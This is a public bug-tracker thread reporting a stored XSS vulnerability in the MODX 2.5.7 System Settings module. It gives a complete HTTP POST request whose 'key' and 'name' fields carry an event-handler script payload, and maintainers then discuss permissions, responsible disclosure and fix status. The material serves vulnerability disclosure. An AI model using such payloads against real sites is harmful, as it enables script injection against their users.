Revolution: Stored XSS in MODX 2.5.7 System Settings module

[lemon666]

Summary

I found two stored XSS in MODX 2.5.7 System Settings module.The "key" and "name" parameters in the following request are vulnerable to XSS vulnerability. This malicious payload will be trigerred by every user, when they visit this module.

Step to reproduce

Example request, which creates new setting with malicious $key and malicious $name:

POST /modx-2.5.7-pl/connectors/index.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 270
Origin: http://127.0.0.1
X-Requested-With: XMLHttpRequest
modAuth: modx597d630a8107d5.18150416_1597d68f9a890f6.90859363
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://127.0.0.1/modx-2.5.7-pl/manager/?a=system/settings
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=1d2mf5dn5k2hevhe34omti9f51
Connection: close

action=system%2Fsettings%2Fcreate&HTTP_MODAUTH=modx597d630a8107d5.18150416_1597d68f9a890f6.90859363&fk=0&key=%3C%2Fdiv%3E%3Cscg%20onload%3Dalert(%2Fxss%2F)%3E&name=%3C%2Fdiv%3E%3Cscg%20onload%3Dalert(%2Fxss%2F)%3E&description=&xtype=textfield&namespace=core&area=&value=

Observed behavior

A small popup will come up.

Environment

MODX 2.5.7, apache 2.4.23, mysql 5.7.15, php 5.6.24.

[muzzwood]

This would only be possible if you're logged in to the manager with correct permissions though wouldn't it?

[Mark-H]

@lemon666 Please do not post security issues to the public tracker, instead responsibly disclose them to [email protected] so a fix can be prepared before details are shared publicly.

In this case, it's a rather harmless issue, as it requires the permission to edit settings before it can be exploited, but it appears that it's already in the NIST database before the security team was alerted properly. If it's a more serious vulnerability, that could cause panic when no patch is available but a CVE is going around on social media.

[fgeek]

@Mark-H Is this already fixed in some version? Could you link the commit IDs fixing this vulnerability, thanks. Bug item has been open for nearly a year now. Nothing found from ChangeLog with issue ID.

[Mark-H]

I think this may be #13887 but reported by someone else a little earlier. Another good reason not to report these in a public tracker ;)